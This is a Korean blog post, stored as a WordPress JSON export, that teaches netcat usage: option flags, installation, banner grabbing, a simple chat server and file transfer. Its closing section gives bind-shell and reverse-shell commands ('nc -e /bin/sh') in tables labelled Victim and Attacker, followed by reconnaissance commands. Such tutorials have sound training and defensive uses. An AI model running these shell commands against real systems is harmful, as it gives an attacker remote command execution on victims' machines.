{"id":900,"date":"2018-08-06T16:12:05","date_gmt":"2018-08-07T01:12:05","guid":{"rendered":"\/blog\/?p=900"},"modified":"2023-09-21T09:37:29","modified_gmt":"2023-09-21T00:37:29","slug":"ncnetcat-%eb%aa%85%eb%a0%b9%ec%96%b4-%ec%82%ac%ec%9a%a9%eb%b2%95","status":"publish","type":"post","link":"https:\/\/hasu0707.duckdns.org\/blog\/?p=900","title":{"rendered":"nc(netcat) \uba85\ub839\uc5b4 \uc0ac\uc6a9\ubc95"},"content":{"rendered":"\n

\ucd9c\ucc98: http:\/\/htst.tistory.com\/61<\/p>\n\n

\ub137\ucea3(Netcat)\uc740 TCP\ub098 UDP \ud504\ub85c\ud1a0\ucf5c\uc744 \uc0ac\uc6a9\ud558\ub294 \ub124\ud2b8\uc6cc\ud06c \uc5f0\uacb0\uc5d0\uc11c \ub370\uc774\ud130\ub97c \uc77d\uace0 \uc4f0\ub294 \uac04\ub2e8\ud55c \uc720\ud2f8\ub9ac\ud2f0 \ud504\ub85c\uadf8\ub7a8\uc774\ub2e4. \uc77c\ubc18\uc801\uc73c\ub85c\ub294 UNIX\uc758 cat\uacfc \ube44\uc2b7\ud55c \uc0ac\uc6a9\ubc95\uc744 \uac00\uc9c0\uace0 \uc788\uc9c0\ub9cc cat\uc774 \ud30c\uc77c\uc5d0 \uc4f0\uac70\ub098 \uc77d\ub4ef\uc774 nc\ub294 network connection\uc5d0 \uc77d\uac70\ub098 \uc4f4\ub2e4. \uc774\uac83\uc740 \uc2a4\ud06c\ub9bd\ud2b8\uc640 \ubcd1\uc6a9\ud558\uc5ec network\uc5d0 \ub300\ud55c debugging, testing tool\ub85c\uc368 \ub9e4\uc6b0 \ud3b8\ub9ac\ud558\uc9c0\ub9cc \ubc18\uba74 \ud574\ud0b9\uc5d0\ub3c4 \uc774\uc6a9\ubc94\uc704\uac00 \ub113\ub2e4.<\/p>\n\n

Netcat(\uc774\ud558 nc\ub85c \ud45c\uae30)\uc740 Network connection \uc5d0\uc11c raw-data read, write\ub97c \ud560\uc218 \uc788\ub294 \uc720\ud2f8\ub9ac\ud2f0 \ud504\ub85c\uadf8\ub7a8\uc785\ub2c8\ub2e4. \uc77c\ubc18\uc801\uc73c\ub85c\ub294 UNIX\uc758 cat\uacfc \ube44\uc2b7\ud55c \uc0ac\uc6a9\ubc95\uc744 \uac00\uc9c0\uace0 \uc788\uc9c0\ub9cc cat\uc774 \ud30c\uc77c\uc5d0 \uc4f0\uac70\ub098 \uc77d\ub4ef\uc774 nc\ub294 \ub124\ud2b8\uc6cc\ud06c\uc5d0 \uc77d\uac70\ub098 \uc4f8\uc218 \uc788\uc2b5\ub2c8\ub2e4. \uc774\uac83\uc740 \uc2a4\ud06c\ub9bd\ud2b8\uc640 \ubcd1\uc6a9\ud558\uc5ec network\uc5d0 \ub300\ud55c debugging, testing tool\ub85c\uc368 \ub9e4\uc6b0 \ud3b8\ub9ac\ud558\uace0, \uc6d0\ud558\ub294 \ud3ec\ud2b8\ub85c \uc6d0\ud558\ub294 \ub370\uc774\ud130\ub97c \uc8fc\uace0\ubc1b\uc744\uc218 \uc788\ub294 \ud2b9\uc9d5\ub54c\ubb38\uc5d0 \ud574\ud0b9\uc5d0\ub3c4 \ub110\ub9ac \uc774\uc6a9\ub418\uba70, \ucef4\ud4e8\ud130 \ud3ec\ub80c\uc2dd\uc5d0 \uc788\uc5b4\uc11c \ub77c\uc774\ube0c\uc2dc\uc2a4\ud15c\uc758 \ub370\uc774\ud130\ub97c \uc190\uc0c1\uc5c6\uc774 \uac00\uc838\uc624\uae30\uc704\ud574\uc11c\ub3c4 \uc0ac\uc6a9\ub420\uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n

nc\uc740 \uc6d0\ud558\ub294 \uac70\uc758 \ubaa8\ub4e0 \uc885\ub958\uc758 \uc811\uc18d\ud615\ud0dc\ub97c \ub9cc\ub4e4\uc5b4 \ub0bc \uc218 \uc788\uace0 \ud765\ubbf8\ub85c\uc6b4 \uba87 \uac00\uc9c0 \ub0b4\uc7a5\uae30\ub2a5\uc744 \uac16\uace0 \uc788\uae30 \ub54c\ubb38\uc5d0 \ub2e4\uae30\ub2a5\uc758 \ub124\ud06c\uc6cc\ud06c \ubb38\uc81c\ud574\uacb0\/\uc870\uc0ac\uc2dc \uc720\uc6a9\ud558\uac8c \uc0ac\uc6a9\uac00\ub2a5\ud569\ub2c8\ub2e4.<\/p>\n\n

 <\/p>\n\n

\u25a0 \ud504\ub85c\uadf8\ub7a8 \ub2e4\uc6b4\ub85c\ub4dc<\/p>\n\n

(\ub9ac\ub205\uc2a4\uc6a9 nc) http:\/\/netcat.sourceforge.net\/<\/p>\n\n

(\uc708\ub3c4\uc6b0\uc6a9 nc) http:\/\/www.securityfocus.com\/tools\/139\/scoreit<\/p>\n\n

 <\/p>\n\n

\u25a0 nc \ucd5c\uc2e0\ubc84\uc804\uc5d0 \ub300\ud55c \uc0ac\uc6a9\ubc95<\/p>\n\n

----------------------------------------------------------------------------------------------<\/p>\n\n

usage : nc [options] [target host] [ports]<\/p>\n\n

-n : \ud638\uc2a4\ud2b8 \ub124\uc784\uacfc \ud3ec\ud2b8\ub97c \uc22b\uc790\ub85c\ub9cc \uc785\ub825\ubc1b\ub294\ub2e4.<\/p>\n\n

-v : verbosity \ub97c \uc99d\uac00 \uc2dc\ud0a8\ub2e4. \ub354 \ub9ce\uc740 \uc815\ubcf4\ub97c \uc5bb\uc744\uc218 \uc788\ub2e4.<\/p>\n\n

-o [filename]: \ubcf4\ub0b4\uac70\ub098 \ubc1b\uc740 \ub370\uc774\ud130\ub97c \ud5e5\uc2a4\ub364\ud504\ud558\uc5ec \ud30c\uc77c\uc5d0 \uc800\uc7a5\ud55c\ub2e4.<\/p>\n\n

-u : TCP connection \ub300\uc2e0\uc5d0 UDP connection \uc774 \uc774\ub8e8\uc5b4 \uc9c4\ub2e4.<\/p>\n\n

-p [port number or name] : local-port \ub97c \uc9c0\uc815\ud55c\ub2e4. \uc8fc\ub85c -l \uacfc \uac19\uc774 \uc0ac\uc6a9\ud558\uac8c \ub41c\ub2e4.<\/p>\n\n

-s [ip address or DNS] : local ip address \ub97c \uc9c0\uc815\ud55c\ub2e4. \ubaa8\ub4e0 \ud50c\ub81b\ud3fc\uc5d0\uc11c \uc9c0\uc6d0\ub418\uc9c0\ub294 \uc54a\ub294\ub2e4.<\/p>\n\n

-l : listen \ubaa8\ub4dc\ub85c nc\uc744 \ub760\uc6b0\uac8c \ub41c\ub2e4. \ub2f9\uc5f0\ud788 target host\ub294 \uc785\ub825\ud558\uc9c0 \uc54a\ub294\ub2e4. -p\uc640 \uac19\uc774 \uc0ac\uc6a9\ud558\uac8c \ub41c\ub2e4. nc\ub97c server \ub85c\uc11c \uc4f8\ub54c \uc0ac\uc6a9.<\/p>\n\n

-e [filename] : -DGAPING_SECURITY_HOLE \uc635\uc158\uc73c\ub85c Make \ub418\uc5c8\uc744 \ub54c \uc0ac\uc6a9\uac00\ub2a5\ud558\ub2e4.<\/p>\n\n

-t : -DTELNET \uc635\uc158\uc73c\ub85c \ucef4\ud30c\uc77c \ub418\uc5c8\uc744 \ub54c \uc0ac\uc6a9\uac00\ub2a5\ud558\ub2e4. telnetd\uc5d0 \uc811\uc18d\uc774 \uac00\ub2a5\ud558\ub3c4\ub85d \uc811\uc18d\uc2dc telnet\uacfc \uac19\uc740 \ud611\uc0c1\uacfc\uc815\uc744 \uac70\uce5c\ub2e4.<\/p>\n\n

-i [interval time] : nc\ub294 \uc77c\ubc18\uc801\uc73c\ub85c 8K \uc529 \ub370\uc774\ud130\ub97c \ubcf4\ub0b4\uace0 \ubc1b\ub294\ub370 \uadf8\ub807\uac8c Standard input\uc758 \ud55c \ub77c\uc778\uc529 interval time\ub9c8\ub2e4 \ubcf4\ub0b4\uac8c \ub41c\ub2e4.<\/p>\n\n

-z : connection\uc744 \uc774\ub8e8\uae30\uc704\ud55c \ucd5c\uc18c\ud55c\uc758 \ub370\uc774\ud130 \uc678\uc5d0\ub294 \ubcf4\ub0b4\uc9c0 \uc54a\ub3c4\ub85d \ud558\ub294 \uc635\uc158.<\/p>\n\n

-r : port \uc9c0\uc815\uc774 \uc5ec\ub7ec\uac1c\ub85c \ub418\uc5b4 \uc788\uc73c\uba74 \uc774\ub54c scanning \uc21c\uc11c\ub97c randomize\ud558\uace0 (\uc77c\ubc18\uc801\uc73c\ub85c \ubc94\uc704\ub85c \uc9c0\uc815\ud558\uba74 \ub192\uc740 \ubc88\ud638\uc758 \ud3ec\ud2b8\ubd80\ud130 \uc2a4\uce94\ud55c\ub2e4) \ub610\ud55c -p \uc635\uc158\uc5d0\uc11c \uc9c0\uc815\uac00\ub2a5\ud55c local port\ub3c4 randomize \ud569\ub2c8\ub2e4. \uc774\ub54c \uc8fc\uc758 \ud560 \uac83\uc740 -p\uac00 -r\uc744 override \ud55c\ub2e4\ub294 \uac83\uc785\ub2c8\ub2e4.<\/p>\n\n

 <\/p>\n\n

----------------------------------------------------------------------------------------------<\/p>\n\n

 <\/p>\n\n

 <\/p>\n\n

 <\/p>\n\n

[\uc2e4\uc2b5] netcat \uba85\ub839\uc5b4 \uc124\uce58<\/p>\n\n

(linux200)<\/p>\n\n

# yum -y install nc<\/p>\n\n

-> \ucd9c\ub825\ub0b4\uc6a9 \uc0dd\ub7b5<\/p>\n\n

 <\/p>\n\n

# rpm -qa | grep nc<\/p>\n\n

nc-1.84-10.fc6<\/p>\n\n

 <\/p>\n\n

[\uc2e4\uc2b5] \uac04\ub2e8\ud55c \ub124\ud2b8\uc6cc\ud06c \uc5f0\uacb0<\/p>\n\n

 <\/p>\n\n

# nc 192.168.10.200 22 (# telnet localhost 22)<\/p>\n\n

SSH-2.0-OpenSSH_4.3<\/p>\n\n

exit<\/p>\n\n

Protocol mismatch.<\/p>\n\n

 <\/p>\n\n

[\uc2e4\uc2b5] \uc11c\ube44\uc2a4 \ubc30\ub108 \uc218\uc9d1<\/p>\n\n

 <\/p>\n\n

# echo -e "HEAD \/ HTTP\/1.0\\n\\n" | nc httpd.apache.org 80
\n <\/p>\n\n

HTTP\/1.1 200 OK<\/p>\n\n

Date: Fri, 22 Aug 2014 07:13:00 GMT<\/p>\n\n

Server: Apache\/2.4.10 (Unix) OpenSSL\/1.0.1i<\/p>\n\n

Last-Modified: Fri, 22 Aug 2014 07:10:38 GMT<\/p>\n\n

ETag: "9ae4-5013288ca49a2"<\/p>\n\n

Accept-Ranges: bytes<\/p>\n\n

Content-Length: 39652<\/p>\n\n

Vary: Accept-Encoding<\/p>\n\n

Cache-Control: max-age=3600<\/p>\n\n

Expires: Fri, 22 Aug 2014 08:13:00 GMT<\/p>\n\n

Connection: close<\/p>\n\n

Content-Type: text\/html; charset=utf-8<\/p>\n\n

 <\/p>\n\n

# echo -e "HEAD \/ HTTP\/1.0\\n\\n" | nc localhost 80<\/p>\n\n

 <\/p>\n\n

HTTP\/1.1 200 OK<\/p>\n\n

Date: Fri, 22 Aug 2014 07:12:33 GMT<\/p>\n\n

Server: Apache\/2.2.3 (CentOS)<\/p>\n\n

Last-Modified: Mon, 14 Jul 2014 10:40:47 GMT<\/p>\n\n

ETag: "62237b-43-ec8109c0"<\/p>\n\n

Accept-Ranges: bytes<\/p>\n\n

Content-Length: 67<\/p>\n\n

Connection: close<\/p>\n\n

Content-Type: text\/html; charset=UTF-8<\/p>\n\n

-> \uc704 \uacb0\uacfc\ub97c \ubcf4\uba74 \uc6f9 \uc11c\ubc84 \uc18c\ud504\ud2b8\uc6e8\uc5b4\uc640 \uc6b4\uc601\uccb4\uc81c\ub97c \uc54c \uc218 \uc788\ub2e4.<\/p>\n\n

 <\/p>\n\n

 <\/p>\n\n

[\uc2e4\uc2b5] \uac04\ub2e8\ud55c \uc11c\ubc84\/\ud074\ub77c\uc774\uc5b8\ud2b8 \uad6c\uc131<\/p>\n\n

 <\/p>\n\n

\ud3ec\ud2b8 7979\uc5d0\uc11c \ub9ac\uc2a8(listen)\ud558\ub294 \uac04\ub2e8\ud55c \ucc44\ud305 \uc11c\ubc84\ub97c \ub9cc\ub4e4\uc5b4 \ubcf4\uc790.<\/p>\n\n

(nc server) 192.168.10.200<\/p>\n\n

[TERM1] # nc -l 7979<\/p>\n\n

 <\/p>\n\n

(nc client) 192.168.10.200<\/p>\n\n

[TERM2] # nc 192.168.10.200 7979 (# telnet 192.168.10.200 7979)<\/p>\n\n

hi<\/p>\n\n

hello netcat!!!!<\/p>\n\n

<CTRL + D><\/p>\n\n

 <\/p>\n\n

-> \ud074\ub77c\uc774\uc5b8\ud2b8\uc5d0\uc11c \uc785\ub825\ud55c \ubaa8\ub4e0 \ubb38\uc790\uac00 \uc11c\ubc84\uc5d0 \ucd9c\ub825\ub41c\ub2e4.<\/p>\n\n

-> \uac04\ub2e8\ud55c \ucc44\ud305 \uc11c\ubc84\ub97c \ub9cc\ub4e0 \uc148\uc774\ub2e4.<\/p>\n\n

-> \ud074\ub77c\uc774\uc5b8\ud2b8\uc5d0\uc11c <CTRL + D> \ud1b5\ud574 \ub04a\uc744 \ub54c \uc11c\ubc84\ub3c4 \uac19\uc774 \uc885\ub8cc \ub41c\ub2e4.<\/p>\n\n

-> connection \uc774 \uc774\ub8e8\uc5b4 \uc84c\uc744 \ub54c \ud30c\uc77c\uc744 \uc2e4\ud589\uc2dc\ud0a8\ub2e4. -l \uacfc \uac19\uc774 \uc0ac\uc6a9\ub418\uba74 \ud55c instance\ub9cc\uc744 \uc0ac\uc6a9\ud558\ub294 inetd\uc640 \ube44\uc2b7\ud558\ub2e4.<\/p>\n\n

 <\/p>\n\n

[\uc2e4\uc2b5] \ud30c\uc77c \uc804\uc1a1<\/p>\n\n

 <\/p>\n\n

\ud074\ub77c\uc774\uc5b8\ud2b8\uc5d0\uc11c \uba85\ub839\uc758 \uacb0\uacfc\ub97c \ubc14\ub85c \uc11c\ubc84 \uce21\uc73c\ub85c \uc804\uc1a1\ud558\uac70\ub098 \ud30c\uc77c\uc744 \uc804\uc1a1\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n

\ud074\ub77c\uc774\uc5b8\ud2b8\uc5d0\uc11c \ub137\ucea3 \ub9ac\uc2a4\ub108\ub85c \ud30c\uc77c\uc744 \uc804\uc1a1\ud560 \uc218\ub3c4 \uc788\uace0 \uc5ed\ubc29\ud5a5\uc73c\ub85c \ud30c\uc77c\uc744 \uc804\uc1a1\ud560 \uc218\ub3c4 \uc788\ub2e4.<\/p>\n\n

 <\/p>\n\n

(nc server) [TERM1] # nc -l 7979 > \/tmp\/output.txt<\/p>\n\n

(nc client) [TERM2] # ps auxf | nc 192.168.10.200 7979<\/p>\n\n

or<\/p>\n\n

    # nc 192.168.10.200 < \/tmp\/input.txt<\/p>\n\n

(nc server) [TERM1] # cat \/tmp\/output.txt<\/p>\n\n


\n[\ucc38\uace0] \ucc38\uace0 \uc0ac\uc774\ud2b8(\ubc18\ub4dc\uc2dc \ucc38\uace0\ud55c\ub2e4.)<\/p>\n\n

 <\/p>\n\n

http:\/\/devanix.tistory.com\/307<\/p>\n\n

-> \ubc31\ub3c4\uc5b4 \uc258\uacfc \ub9ac\ubc84\uc2a4 \uc140 \ubd80\ubd84\uc744 \ucc38\uace0\ud55c\ub2e4.<\/p>\n\n

https:\/\/www.linux.co.kr\/home\/lecture\/?leccode=10648<\/p>\n\n

http:\/\/1828.tistory.com\/entry\/Tool-NC-NetCat<\/p>\n\n

http:\/\/egloos.zum.com\/hanguy\/v\/2079313<\/p>\n\n

http:\/\/idkwim.tistory.com\/58<\/p>\n\n

http:\/\/security.kaist.ac.kr\/docs\/netcat.html<\/p>\n\n

http:\/\/www.oac.uci.edu\/indiv\/franklin\/doc\/netcat.html<\/p>\n\n


\n\u25a0 <\/span>\ubc31\ub3c4\uc5b4 \uc258<\/span>(bind_tcp)<\/span><\/div>\n\n\n \n \n \n
\n

\uc11c\ubc84<\/span>(<\/span>\uacf5\uc778 <\/span>IP)<\/span> <\/span>- Victim<\/span><\/p>\n <\/td>\n

\n

\ud074\ub77c\uc5b8\ud2b8<\/span>(<\/span>\uacf5\uc778<\/span>IP\/<\/span>\uc0ac\uc124<\/span>IP) - Attacker<\/span><\/p>\n <\/td>\n <\/tr>\n

\n

# nc -e \/bin\/sh -l -p 1234<\/span><\/p>\n\n

 <\/p>\n\n

 <\/p>\n\n

 <\/p>\n <\/td>\n

\n

 <\/p>\n\n

# nc <Victim's IP> 1234<\/span><\/p>\n\n

uname -a;<\/span><\/p>\n\n

ls -al;<\/span><\/p>\n <\/td>\n <\/tr>\n <\/tbody>\n<\/table>\n\n

 <\/p>\n\n

\u25a0 <\/span>\ub9ac\ubc84\uc2a4 \uc258<\/span>(reverse_tcp)<\/span><\/p>\n\n\n \n \n \n
\n

\uc11c\ubc84<\/span>(<\/span>\uacf5\uc778 <\/span>IP) - Attacker<\/span><\/p>\n <\/td>\n

\n

\ud074\ub77c\uc5b8\ud2b8<\/span>(<\/span>\uacf5\uc778<\/span>IP\/<\/span>\uc0ac\uc124<\/span>IP<\/span>) - Victim<\/span><\/p>\n <\/td>\n <\/tr>\n

\n

# nc -n -v -l -p 1234<\/span><\/p>\n\n

 <\/p>\n\n

ifconfig;<\/span><\/p>\n\n

id;<\/span><\/p>\n\n

hostname;<\/span><\/p>\n <\/td>\n

\n

# nc -e \/bin\/sh <Victim's IP> 1234<\/span><\/p>\n\n

 <\/p>\n\n

 <\/p>\n <\/td>\n <\/tr>\n <\/tbody>\n<\/table>\n","protected":false},"excerpt":{"rendered":"

\ucd9c\ucc98: http:\/\/htst.tistory.com\/61 \ub137\ucea3(Netcat)\uc740 TCP\ub098 UDP \ud504\ub85c\ud1a0\ucf5c\uc744 \uc0ac\uc6a9\ud558\ub294 \ub124\ud2b8\uc6cc\ud06c \uc5f0\uacb0\uc5d0\uc11c \ub370\uc774\ud130\ub97c \uc77d\uace0 \uc4f0\ub294 \uac04\ub2e8\ud55c \uc720\ud2f8\ub9ac\ud2f0 \ud504\ub85c\uadf8\ub7a8\uc774\ub2e4. \uc77c\ubc18\uc801\uc73c\ub85c\ub294 UNIX\uc758 cat\uacfc \ube44\uc2b7\ud55c \uc0ac\uc6a9\ubc95\uc744 \uac00\uc9c0\uace0 \uc788\uc9c0\ub9cc cat\uc774 \ud30c\uc77c\uc5d0 \uc4f0\uac70\ub098 \uc77d\ub4ef\uc774 nc\ub294 network connection\uc5d0 \uc77d\uac70\ub098 \uc4f4\ub2e4. \uc774\uac83\uc740 \uc2a4\ud06c\ub9bd\ud2b8\uc640 \ubcd1\uc6a9\ud558\uc5ec network\uc5d0 \ub300\ud55c debugging, testing tool\ub85c\uc368 \ub9e4\uc6b0 \ud3b8\ub9ac\ud558\uc9c0\ub9cc \ubc18\uba74 \ud574\ud0b9\uc5d0\ub3c4 \uc774\uc6a9\ubc94\uc704\uac00 \ub113\ub2e4. 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